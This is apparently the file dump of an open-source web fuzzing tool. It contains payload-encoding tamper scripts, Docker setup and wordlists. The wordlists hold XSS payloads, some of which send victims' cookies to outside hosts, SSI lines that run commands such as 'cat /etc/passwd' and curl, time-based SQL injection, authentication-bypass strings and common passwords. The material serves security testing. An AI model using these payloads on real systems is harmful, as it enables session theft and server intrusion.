├── database
    ├── test.txt
    ├── grep_injectx.txt
    ├── bad_chars.txt
    ├── dirbuster-dirs.txt
    ├── fuzz_chall.txt
    ├── usernames.txt
    ├── sqli_escape_chars.txt
    ├── xss_grep.txt
    ├── xss_escape_chars.txt
    ├── passwords_quick.txt
    ├── ssi_quick.txt
    ├── xss_funny_stored.txt
    ├── xss_swf_fuzz.txt
    ├── payload_injectx.txt
    ├── xss_remote_payloads-http.txt
    ├── xss_payloads_quick.txt
    ├── sqli-time-based.txt
    ├── html_tags.txt
    ├── xss_remote_payloads-https.txt
    ├── auth_bypass.txt
    ├── sqli-error-based.txt
    ├── html_events.txt
    ├── traversal-short.txt
    ├── xss_find_inject.txt
    ├── passwords_medium.txt
    ├── xml-attacks.txt
    ├── 3d.txt
    ├── dirbuster-top1000.txt
    ├── command_exec.txt
    ├── url_payloads.txt
    └── headers
├── supptruder.py
├── tampers
    ├── htmlEncode.py
    ├── urlEncode.py
    ├── doubleUrlEncode.py
    ├── base64.py
    ├── base64_php_object.py
    ├── Readme.md
    └── jwtEncode.py
├── docker
    ├── docker-compose.yml
    └── Dockerfile
├── requirements.txt
├── LICENSE
├── .gitignore
├── sources
    ├── printing.py
    ├── differs.py
    ├── http.py
    ├── intruder.py
    └── sup.py
└── README.md


/database/test.txt:
--------------------------------------------------------------------------------
1 | test.js
2 | test.html
3 | index.php


--------------------------------------------------------------------------------
/database/grep_injectx.txt:
--------------------------------------------------------------------------------
1 | INJECTX
2 | </INJECT>
3 | (INJECTX)
4 | 


--------------------------------------------------------------------------------
/database/bad_chars.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ElSicarius/Supp-truder/HEAD/database/bad_chars.txt


--------------------------------------------------------------------------------
/database/dirbuster-dirs.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ElSicarius/Supp-truder/HEAD/database/dirbuster-dirs.txt


--------------------------------------------------------------------------------
/database/fuzz_chall.txt:
--------------------------------------------------------------------------------
1 | /www/index.html
2 | /etc/passwd
3 | /etc/hosts
4 | /var/log/nginx/access.log
5 | /var/log/nginx/error.log


--------------------------------------------------------------------------------
/supptruder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | 
3 | from sources.sup import main
4 | 
5 | if __name__ == '__main__':
6 |     main()
7 | 


--------------------------------------------------------------------------------
/database/usernames.txt:
--------------------------------------------------------------------------------
 1 | root
 2 | admin
 3 | test
 4 | guest
 5 | info
 6 | adm
 7 | mysql
 8 | user
 9 | administrator
10 | oracle
11 | ftp
12 | 


--------------------------------------------------------------------------------
/database/sqli_escape_chars.txt:
--------------------------------------------------------------------------------
 1 | '
 2 | "
 3 | ''
 4 | '"
 5 | ;
 6 | 
 7 | )
 8 | ')
 9 | ")
10 | ");
11 | ';
12 | ";
13 | %'
14 | %"
15 | %')
16 | %")
17 | '))
18 | "))
19 | ")))
20 | 
21 | 
22 | 


--------------------------------------------------------------------------------
/tampers/htmlEncode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | 
3 | from html import escape, unescape
4 | 
5 | def process(payload):
6 |     return escape(payload)
7 | 
8 | def unprocess(payload):
9 |     return unescape(payload)


--------------------------------------------------------------------------------
/tampers/urlEncode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | 
3 | from urllib.parse import quote, unquote
4 | 
5 | def process(payload):
6 |     return quote(payload)
7 | 
8 | def unprocess(payload):
9 |     return unquote(payload)


--------------------------------------------------------------------------------
/database/xss_grep.txt:
--------------------------------------------------------------------------------
 1 | XSS
 2 | INJECTX
 3 | 1111111
 4 | XXXXXXX
 5 | alert(
 6 | prompt(
 7 | onload=
 8 | onerror=
 9 | onmouseover=
10 | location.href=
11 | document.cookie(
12 | crowdshield
13 | <script
14 | 
15 | 


--------------------------------------------------------------------------------
/docker/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.3"
2 | services:
3 |   supptruder:
4 |     build:
5 |       context: ../
6 |       dockerfile: docker/Dockerfile
7 |     image: supptruder:latest
8 |     privileged: False
9 |     


--------------------------------------------------------------------------------
/tampers/doubleUrlEncode.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | 
 3 | from urllib.parse import quote, unquote
 4 | 
 5 | def process(payload):
 6 |     return quote(quote(payload))
 7 | 
 8 | def unprocess(payload):
 9 |     return unquote(unquote(payload))
10 | 


--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
 1 | certifi==2021.10.8
 2 | cffi==1.15.0
 3 | charset-normalizer==2.0.12
 4 | colored==1.4.3
 5 | cryptography
 6 | exrex==0.10.5
 7 | idna==3.3
 8 | loguru==0.6.0
 9 | pycparser==2.21
10 | PyJWT==2.3.0
11 | requests==2.27.1
12 | urllib3==1.26.9
13 | 


--------------------------------------------------------------------------------
/database/xss_escape_chars.txt:
--------------------------------------------------------------------------------
 1 | ' 
 2 | " 
 3 | ">
 4 | /'>
 5 | ')>
 6 | ")>
 7 | ">
 8 | '">
 9 | '>
10 | ; 
11 | 
12 | ') 
13 | ") 
14 | "); 
15 | \"+
16 | \"); 
17 | '>
18 | ">
19 | "/>
20 | '>
21 | \"
22 | \'
23 | \";
24 | ';
25 | #
26 | <!-- INJECTX
27 | // INJECTX
28 | /* INJECTX
29 | 
30 | 


--------------------------------------------------------------------------------
/tampers/base64.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | 
 3 | from base64 import b64encode, b64decode
 4 | 
 5 | def process(payload):
 6 |     if not isinstance(payload, bytes):
 7 |         return b64encode(payload.encode("utf-8")).decode("utf8")
 8 |     else:
 9 |          return b64encode(payload).decode("utf8")
10 | 
11 | def unprocess(payload):
12 |     if not isinstance(payload, bytes):
13 |         return b64decode(payload.encode("utf-8")).decode("utf8")
14 |     else:
15 |          return b64decode(payload).decode("utf8")


--------------------------------------------------------------------------------
/docker/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM python:3.10-buster
 2 | 
 3 | USER root
 4 | 
 5 | RUN mkdir -p /supptruder/sources
 6 | RUN mkdir -p /supptruder/database
 7 | RUN mkdir -p /supptruder/tampers
 8 | 
 9 | 
10 | COPY requirements.txt /supptruder/
11 | 
12 | RUN pip install -r /supptruder/requirements.txt
13 | 
14 | COPY sources/* /supptruder/sources/
15 | COPY tampers/* /supptruder/tampers/
16 | COPY database/* /supptruder/database/
17 | COPY supptruder.py /supptruder/
18 | 
19 | WORKDIR /supptruder
20 | 
21 | # ENTRYPOINT ["/bin/bash"]
22 | ENTRYPOINT ["python3","supptruder.py"]


--------------------------------------------------------------------------------
/tampers/base64_php_object.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | 
 3 | from base64 import b64encode, b64decode
 4 | 
 5 | PAYLOAD = 'O:9:"PageModel":1:{{s:4:"file";s:{content_len}:"{file}";}}'
 6 | 
 7 | def process(payload):
 8 |     payload = PAYLOAD.format(content_len=len(payload), file=payload)
 9 |     if not isinstance(payload, bytes):
10 |         return b64encode(payload.encode("utf-8")).decode("utf8")
11 |     else:
12 |          return b64encode(payload).decode("utf8")
13 | 
14 | def unprocess(payload):
15 |     if not isinstance(payload, bytes):
16 |         return b64decode(payload.encode("utf-8")).decode("utf8")
17 |     else:
18 |          return b64decode(payload).decode("utf8")
19 | 
20 | 


--------------------------------------------------------------------------------
/database/passwords_quick.txt:
--------------------------------------------------------------------------------
 1 | 123456
 2 | password
 3 | 12345678
 4 | qwerty
 5 | abc123
 6 | 123456789
 7 | 111111
 8 | 1234567
 9 | iloveyou
10 | adobe123
11 | 123123
12 | admin
13 | 1234567890
14 | letmein
15 | photoshop
16 | 1234
17 | monkey
18 | shadow
19 | sunshine
20 | 12345
21 | password1
22 | princess
23 | azerty
24 | trustno1
25 | 000000
26 | 1dc13d
27 | admin
28 | 123123
29 | admin1
30 | admins
31 | 123456
32 | 12345678
33 | 7777777
34 | letmein
35 | 121212
36 | qweqwe
37 | iloveyou
38 | administrator
39 | holysh!t
40 | 55555
41 | 1q2w3e
42 | qwerty
43 | wordpress
44 | wpsite
45 | internet
46 | asdfghjkl
47 | 121314
48 | lollipop
49 | killer
50 | pass
51 | lovers
52 | hello
53 | dragon
54 | admin123
55 | office
56 | jerome
57 | fyfcnfcbz
58 | 


--------------------------------------------------------------------------------
/database/ssi_quick.txt:
--------------------------------------------------------------------------------
 1 | </nowiki>
 2 | <!--#echo var="DOCUMENT_NAME" -->
 3 | <!--#echo var="DOCUMENT_URI" -->
 4 | <!--#config timefmt="A %B %d %Y %r"-->
 5 | <!--#echo var="DATE_LOCAL" -->
 6 | <!--#include virtual="http://xerosecurity.com/.testing/rfi_vuln.php" -->
 7 | <!--#include virtual="https://crowdshield.com/.testing/rfi_vuln.php" -->
 8 | <!--#include virtual="/" -->
 9 | <!--#exec cmd="ls" -->
10 | <!--#exec cmd="whoami" -->
11 | <!--#exec cmd="uname" -->
12 | <!--#exec cmd="dir" -->
13 | <!--#exec cmd="cat /etc/passwd" -->
14 | <!--#exec cmd="ipconfig" -->
15 | <!--#exec cmd="curl http://xerosecurity.com/.testing/rfi_vuln.php" -->
16 | <!--#exec cmd="perl -e 'print "X"*5000'" -->
17 | <!--#exec cmd="sleep 5" -->
18 | <!--#exec cmd="sleep 10" -->
19 | 


--------------------------------------------------------------------------------
/tampers/Readme.md:
--------------------------------------------------------------------------------
 1 | 
 2 | # How to make your own tamper script 
 3 | 
 4 | It's very simple ! you only need to create a function named "process" that takes **one** parameter in input and returns a single **string** *(Make sure it is not bytes)*. Then, if needed (ie, option -ut enabled), create a function "unprocess" that reverts the process of the payload.
 5 | 
 6 | for example:
 7 | ```
 8 | #!/usr/bin/python3
 9 | 
10 | from urllib.parse import quote, unquote
11 | 
12 | def process(payload):
13 |     """
14 |     Takes a payload in input
15 |     :returns the string quoted
16 |     """
17 |     return quote(payload)
18 | 
19 | def process(payload):
20 |     """
21 |     Takes a string quoted in input
22 |     :returns the string unquoted
23 |     """
24 |     return unquote(payload)
25 | ```


--------------------------------------------------------------------------------
/database/xss_funny_stored.txt:
--------------------------------------------------------------------------------
1 | <iframe width="560" height="315" src="https://www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1" frameborder="0" allowfullscreen></iframe>
2 | <iframe width="420" height="315" src="https://www.youtube.com/embed/5LlQNty_C8s?autoplay=1" frameborder="0" allowfullscreen></iframe>
3 | <iframe width="420" height="315" src="https://www.youtube.com/embed/iUXAHc-ABoY?autoplay=1" frameborder="0" allowfullscreen></iframe>
4 | <img src="http://38.media.tumblr.com/809d39daf44dd25ef7ce77706e44e953/tumblr_nuvz98USdD1resp2ko1_500.gif"></img>
5 | <img src="http://31.media.tumblr.com/ae3ef754917fe39e9c1fec441c553c85/tumblr_nsa8jqTm7i1resp2ko1_500.gif"></img>
6 | <img src="http://38.media.tumblr.com/tumblr_m5who6JOEM1rna86e.gif"></img>
7 | <img src="http://38.media.tumblr.com/tumblr_ls64yimLuz1r0ix14o1_400.gif"></img>
8 | <img src="https://i.imgur.com/bYmdHcX.gif"></img>
9 | 


--------------------------------------------------------------------------------
/database/xss_swf_fuzz.txt:
--------------------------------------------------------------------------------
 1 | #getURL,javascript:alert(1)",
 2 | #goto,javascript:alert(1)",	
 3 | ?javascript:alert(1)",
 4 | ?alert(1)",
 5 | ?getURL(javascript:alert(1))",
 6 | ?asfunction:getURL,javascript:alert(1)//",
 7 | ?getURL,javascript:alert(1)",
 8 | ?goto,javascript:alert(1)",		
 9 | ?clickTAG=javascript:alert(1)",
10 | ?url=javascript:alert(1)",
11 | ?clickTAG=javascript:alert(1)&TargetAS=",
12 | ?TargetAS=javascript:alert(1)",
13 | ?skinName=asfunction:getURL,javascript:alert(1)//",
14 | ?baseurl=asfunction:getURL,javascript:alert(1)//",
15 | ?base=javascript:alert(0)",                
16 | ?onend=javascript:alert(1)//",
17 | ?userDefined=');function someFunction(a){}alert(1)//",        
18 | ?URI=javascript:alert(1)",
19 | ?callback=javascript:alert(1)",
20 | ?getURLValue=javascript:alert(1)",
21 | ?goto=javascript:alert(1)",
22 | ?pg=javascript:alert(1)",
23 | ?page=javascript:alert(1)"
24 | ?playerready=alert(document.cookie)
25 | 


--------------------------------------------------------------------------------
/tampers/jwtEncode.py:
--------------------------------------------------------------------------------
 1 | 
 2 | import jwt
 3 | 
 4 | KEY = "example_key"
 5 | ALGO = "HS256"
 6 | 
 7 | def process(payload):
 8 | 	if isinstance(payload, bytes):
 9 | 		try:
10 | 			payload = payload.decode("utf8")
11 | 		except UnicodeDecodeError:
12 | 			print("Invalid payload {}, skipping".format(payload))
13 | 	payload = jwt.encode(\
14 | 						# change the json according to your jwt setup
15 | 						{"id": "1", "name":"test","description":payload,"email":"thisisatest@test.test"},\
16 | 						# Enter your key below
17 | 						KEY,\
18 | 						# change the algorithm if needed
19 | 						algorithm=ALGO)
20 | 	return payload
21 | 
22 | def unprocess(payload):
23 | 	if isinstance(payload, bytes):
24 | 		try:
25 | 			payload = payload.decode("utf8")
26 | 		except UnicodeDecodeError:
27 | 			print("Invalid payload {}, skipping".format(payload))
28 | 	payload = jwt.decode(payload,
29 | 						# Enter your key below
30 | 						KEY,\
31 | 						# change the algorithm if needed
32 | 						algorithms=[ALGO])
33 | 	return payload


--------------------------------------------------------------------------------
/database/payload_injectx.txt:
--------------------------------------------------------------------------------
1 | INJECTX
2 | INJECTX'"></INJECT>(INJECTX)
3 | INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'"></INJECTX>(INJECTX)
4 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2021 Sicarius
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/database/xss_remote_payloads-http.txt:
--------------------------------------------------------------------------------
 1 | <img src=http://xerosecurity.com/.testing/xss.png>//INJECTX REMOTE
 2 | <iframe src="http://xerosecurity.com/.testing/xss_vuln.html"></iframe>//INJECTX
 3 | <script src="http://xerosecurity.com/.testing/xss.js?script_src=1"></script>//INJECTX
 4 | <img src="http://xerosecurity.com/.testing/xss.png?img_src=2"></img>//INJECTX
 5 | <iframe src="http://xerosecurity.com/.testing/iframe_injection.php?iframe_src=3" height="100%" width="100%"></iframe>//INJECTX
 6 | <img src="http://xerosecurity.com/.testing/xss.png?img_src_onerror_prompt" onerror=prompt(1) onload=prompt(2) onmouseover=prompt(3)>//INJECTX
 7 | <img src="http://xerosecurity.com/.testing/xss.png?img_src_onerror_prompt" onerror=window.location("http://135.23.158.130/.testing/xss.html");>//INJECTX
 8 | <script>location.href='http://xerosecurity.com/.testing/iframe_injection.php?'+document.cookie;</script>//INJECTX
 9 | <script src="http://xerosecurity.com/.testing/xss.js?script_src=1"></script>//INJECTX
10 | </script><script src="http://xerosecurity.com/.testing/xss.js?script_src=1">//INJECTX
11 | <iframe src=http://xerosecurity.com/.testing/xss_vuln.html onload=prompt(4) onmouseover=alert(5) onerror=prompt(6)><!--//*INJECTX
12 | </textarea><iframe src=http://xerosecurity.com/.testing/xss_vuln.html onload=prompt(7) onmouseover=alert(8) onerror=prompt(9)><!--//*INJECTX
13 | <font color=red><h1>@INJECTX<iframe src=http://xerosecurity.com/.testing/xss_vuln.html height=100% width=100% onload=prompt(10) onmouseover=alert(11) onerror=prompt(12)>
14 | <a onclick="javascript:document.location='http://xerosecurity.com/.testing/iframe_injection.php?cookie='+document.cookie;">INJECTX COOKIE STEALER!</a>
15 | 


--------------------------------------------------------------------------------
/database/xss_payloads_quick.txt:
--------------------------------------------------------------------------------
 1 | javascript:alert(1)//INJECTX
 2 | <svg/onload=alert(1)>//INJECTX
 3 | <img onload=alert(1)>//INJECTX
 4 | <img src=x onerror=prompt(1)>//INJECTX
 5 | <a href="javascript:alert(1)" onmouseover=alert(1)>INJECTX HOVER</a>
 6 |  onmouseover="document.cookie=true;">//INJECTX
 7 | alert(1)>//INJECTX
 8 | <h1>INJECTX</h1>
 9 | <img src=x onload=prompt(1) onerror=alert(1) onmouseover=prompt(1)>
10 | <svg><script>/<@/>alert(1)</script>//INJECTX
11 | <svg/onload=alert(/INJECTX/)>
12 | <iframe/onload=alert(/INJECTX/)>
13 | <svg/onload=alert`INJECTX`>
14 | <svg/onload=alert(/INJECTX/)>
15 | <svg/onload=alert(`INJECTX`)>
16 | }alert(/INJECTX/);{//
17 | <h1/onclick=alert(1)>a//INJECTX
18 | <svg/onload=alert(/INJECTX/)>
19 | <p/onclick=alert(/INJECTX/)>a
20 | <svg/onload=alert`INJECTX`>
21 | <svg/onload=alert(/INJECTX/)>
22 | <svg/onload=alert(`INJECTX`)>
23 | <video><source onerror="javascript:alert(1)">//INJECTX
24 | <video onerror="javascript:alert(1)"><source>//INJECTX
25 | <audio onerror="javascript:alert(1)"><source>//INJECTX
26 | <input autofocus onfocus=alert(1)>//INJECTX
27 | <select autofocus onfocus=alert(1)>//INJECTX
28 | <textarea autofocus onfocus=alert(1)>//INJECTX
29 | <keygen autofocus onfocus=alert(1)>//INJECTX
30 | <button form=test onformchange=alert(1)>//INJECTX
31 | <form><button formaction="javascript:alert(1)">//INJECTX
32 | <svg onload=(alert)(1) >//INJECTX
33 | <script>$=1,alert($)</script>//INJECTX
34 | <!--<img src="--><img src=x onerror=alert(1)//">//INJECTX
35 | <img/src='x'onerror=alert(1)>//INJECTX
36 | <marguee/onstart=alert(1)>//INJECTX
37 | <script>alert(1)//INJECTX
38 | <script>alert(1)<!--INJECTX
39 | <marquee loop=1 width=0 onfinish=alert(1)>//INJECTX


--------------------------------------------------------------------------------
/database/sqli-time-based.txt:
--------------------------------------------------------------------------------
 1 |  AND (SELECT * FROM (SELECT(SLEEP(50)))bAKL) AND 'vRxe'='vRxe
 2 |  AND (SELECT * FROM (SELECT(SLEEP(50)))YjoC) AND '%'='
 3 |  AND (SELECT * FROM (SELECT(SLEEP(50)))nQIP)
 4 |  AND (SELECT * FROM (SELECT(SLEEP(50)))nQIP)--
 5 |  AND (SELECT * FROM (SELECT(SLEEP(50)))nQIP)#
 6 | SLEEP(50)#
 7 | SLEEP(50)-- 
 8 | SLEEP(50)="
 9 | SLEEP(50)='
10 |  or SLEEP(50)
11 |  or SLEEP(50)#
12 |  or SLEEP(50)--
13 |  or SLEEP(50)="
14 |  or SLEEP(50)='
15 | waitfor delay '00:00:50'
16 | waitfor delay '00:00:50'-- 
17 | waitfor delay '00:00:50'#
18 | benchmark(500000000,MD5(1))
19 | benchmark(500000000,MD5(1))-- 
20 | benchmark(500000000,MD5(1))#
21 |  or benchmark(500000000,MD5(1))
22 |  or benchmark(500000000,MD5(1))-- 
23 |  or benchmark(500000000,MD5(1))#
24 | pg_SLEEP(50)
25 | pg_SLEEP(50)-- 
26 | pg_SLEEP(50)#
27 |  or pg_SLEEP(50)
28 |  or pg_SLEEP(50)-- 
29 |  or pg_SLEEP(50)#
30 | '\"
31 |  AnD SLEEP(50)
32 |  AnD SLEEP(50)--
33 |  AnD SLEEP(50)#
34 | &&SLEEP(50)
35 | &&SLEEP(50)--
36 | &&SLEEP(50)#
37 | ' AnD SLEEP(50) ANd '1
38 | '&&SLEEP(50)&&'1
39 |  ORDER BY SLEEP(50)
40 |  ORDER BY SLEEP(50)-- 
41 |  ORDER BY SLEEP(50)#
42 | (SELECT * FROM (SELECT(SLEEP(50)))ecMj)
43 | (SELECT * FROM (SELECT(SLEEP(50)))ecMj)#
44 | (SELECT * FROM (SELECT(SLEEP(50)))ecMj)--
45 | +benchmark(3200,SHA1(1))+'
46 |  + SLEEP(10) + '
47 |  RANDOMBLOB(500000000/2)
48 |  AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
49 |  OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
50 |  RANDOMBLOB(1000000000/2)
51 |  AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
52 |  OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
53 |  SLEEP(10)/*' or SLEEP(10) or '" or SLEEP(10) or "*/
54 | 


--------------------------------------------------------------------------------
/database/html_tags.txt:
--------------------------------------------------------------------------------
  1 | a
  2 | a2
  3 | abbr
  4 | acronym
  5 | address
  6 | animate
  7 | animatemotion
  8 | animatetransform
  9 | applet
 10 | area
 11 | article
 12 | aside
 13 | audio
 14 | audio2
 15 | b
 16 | base
 17 | basefont
 18 | bdi
 19 | bdo
 20 | bgsound
 21 | big
 22 | blink
 23 | blockquote
 24 | body
 25 | br
 26 | button
 27 | canvas
 28 | caption
 29 | center
 30 | cite
 31 | code
 32 | col
 33 | colgroup
 34 | command
 35 | content
 36 | custom tags
 37 | data
 38 | datalist
 39 | dd
 40 | del
 41 | details
 42 | dfn
 43 | dialog
 44 | dir
 45 | div
 46 | dl
 47 | dt
 48 | element
 49 | em
 50 | embed
 51 | fieldset
 52 | figcaption
 53 | figure
 54 | font
 55 | footer
 56 | form
 57 | frame
 58 | frameset
 59 | h1
 60 | head
 61 | header
 62 | hgroup
 63 | hr
 64 | html
 65 | i
 66 | iframe
 67 | iframe2
 68 | image
 69 | image2
 70 | image3
 71 | img
 72 | img2
 73 | input
 74 | input2
 75 | input3
 76 | input4
 77 | ins
 78 | isindex
 79 | kbd
 80 | keygen
 81 | label
 82 | legend
 83 | li
 84 | link
 85 | listing
 86 | main
 87 | map
 88 | mark
 89 | marquee
 90 | menu
 91 | menuitem
 92 | meta
 93 | meter
 94 | multicol
 95 | nav
 96 | nextid
 97 | nobr
 98 | noembed
 99 | noframes
100 | noscript
101 | object
102 | ol
103 | optgroup
104 | option
105 | output
106 | p
107 | param
108 | picture
109 | plaintext
110 | pre
111 | progress
112 | q
113 | rb
114 | rp
115 | rt
116 | rtc
117 | ruby
118 | s
119 | samp
120 | script
121 | section
122 | select
123 | set
124 | shadow
125 | slot
126 | small
127 | source
128 | spacer
129 | span
130 | strike
131 | strong
132 | style
133 | sub
134 | summary
135 | sup
136 | svg
137 | table
138 | tbody
139 | td
140 | template
141 | textarea
142 | tfoot
143 | th
144 | thead
145 | time
146 | title
147 | tr
148 | track
149 | tt
150 | u
151 | ul
152 | var
153 | video
154 | video2
155 | wbr
156 | xmp


--------------------------------------------------------------------------------
/database/xss_remote_payloads-https.txt:
--------------------------------------------------------------------------------
 1 | <img src=https://crowdshield.com/.testing/xss.png onerror=prompt(13) onload=prompt(14) onmouseover=prompt(15)>//INJECTX REMOTE
 2 | <iframe src="https://crowdshield.com/.testing/xss_vuln.html"></iframe>//INJECTX
 3 | <script src="https://crowdshield.com/.testing/xss.js?script_src=1"></script>//INJECTX
 4 | <img src="https://crowdshield.com/.testing/xss.png?img_src=2 onerror=prompt(16) onload=prompt(17) onmouseover=prompt(18)"></img>//INJECTX
 5 | <iframe src="https://crowdshield.com/.testing/iframe_injection.php?iframe_src=3" height="0" width="0"></iframe>//INJECTX
 6 | <iframe src="https://crowdshield.com/.testing/iframe_injection.php?iframe_src=4" height="100%" width="100%"></iframe>//INJECTX
 7 | <img src="https://crowdshield.com/.testing/xss.png?img_src_onerror_prompt" onerror=prompt(19) onload=prompt(20) onmouseover=prompt(21)>//INJECTX
 8 | <img src="https://crowdshield.com/.testing/xss.png?img_src_onerror_prompt" onerror=window.location("http://135.23.158.130/.testing/xss.html");>//INJECTX
 9 | <script>location.href='http://xerosecurity.com/.testing/iframe_injection.php?'+document.cookie;</script>//INJECTX
10 | <script src="https://crowdshield.com/.testing/xss.js?script_src=1"></script>//INJECTX
11 | </script><script src="https://crowdshield.com/.testing/xss.js?script_src=1">//INJECTX
12 | <iframe src=https://crowdshield.com/.testing/xss_vuln.html onload=prompt(22) onmouseover=alert(23) onerror=prompt(24)><!--//*INJECTX
13 | </textarea><iframe src=https://crowdshield.com/.testing/xss_vuln.html onload=prompt(25) onmouseover=alert(26) onerror=prompt(27)><!--//*INJECTX
14 | <font color=red><h1>@INJECTX<iframe src=https://crowdshield.com/.testing/xss_vuln.html height=100% width=100% onload=prompt(28) onmouseover=alert(29) onerror=prompt(30)>
15 | <a onclick="javascript:document.location='https://crowdshield.com/.testing/iframe_injection.php?cookie='+document.cookie;">INJECTX COOKIE STEALER!</a>
16 | 


--------------------------------------------------------------------------------
/database/auth_bypass.txt:
--------------------------------------------------------------------------------
  1 | ==
  2 | =
  3 | '
  4 | ' --
  5 | ' #
  6 | ' –
  7 | '--
  8 | '/*
  9 | '#
 10 | " --
 11 | " #
 12 | "/*
 13 | ' and 1='1
 14 | ' and a='a
 15 |  or 1=1
 16 |  or true
 17 | ' or ''='
 18 | " or ""="
 19 | 1′) and '1′='1–
 20 | ' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
 21 | " AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
 22 |  and 1=1
 23 |  and 1=1–
 24 | ' and 'one'='one
 25 | ' and 'one'='one–
 26 | ' group by password having 1=1--
 27 | ' group by userid having 1=1--
 28 | ' group by username having 1=1--
 29 |  like '%'
 30 |  or 0=0 --
 31 |  or 0=0 #
 32 |  or 0=0 –
 33 | ' or         0=0 #
 34 | ' or 0=0 --
 35 | ' or 0=0 #
 36 | ' or 0=0 –
 37 | " or 0=0 --
 38 | " or 0=0 #
 39 | " or 0=0 –
 40 | %' or '0'='0
 41 |  or 1=1
 42 |  or 1=1--
 43 |  or 1=1/*
 44 |  or 1=1#
 45 |  or 1=1–
 46 | ' or 1=1--
 47 | ' or '1'='1
 48 | ' or '1'='1'--
 49 | ' or '1'='1'/*
 50 | ' or '1'='1'#
 51 | ' or '1′='1
 52 | ' or 1=1
 53 | ' or 1=1 --
 54 | ' or 1=1 –
 55 | ' or 1=1--
 56 | ' or 1=1;#
 57 | ' or 1=1/*
 58 | ' or 1=1#
 59 | ' or 1=1–
 60 | ') or '1'='1
 61 | ') or '1'='1--
 62 | ') or '1'='1'--
 63 | ') or '1'='1'/*
 64 | ') or '1'='1'#
 65 | ') or ('1'='1
 66 | ') or ('1'='1--
 67 | ') or ('1'='1'--
 68 | ') or ('1'='1'/*
 69 | ') or ('1'='1'#
 70 | 'or'1=1
 71 | 'or'1=1′
 72 | " or "1"="1
 73 | " or "1"="1"--
 74 | " or "1"="1"/*
 75 | " or "1"="1"#
 76 | " or 1=1
 77 | " or 1=1 --
 78 | " or 1=1 –
 79 | " or 1=1--
 80 | " or 1=1/*
 81 | " or 1=1#
 82 | " or 1=1–
 83 | ") or "1"="1
 84 | ") or "1"="1"--
 85 | ") or "1"="1"/*
 86 | ") or "1"="1"#
 87 | ") or ("1"="1
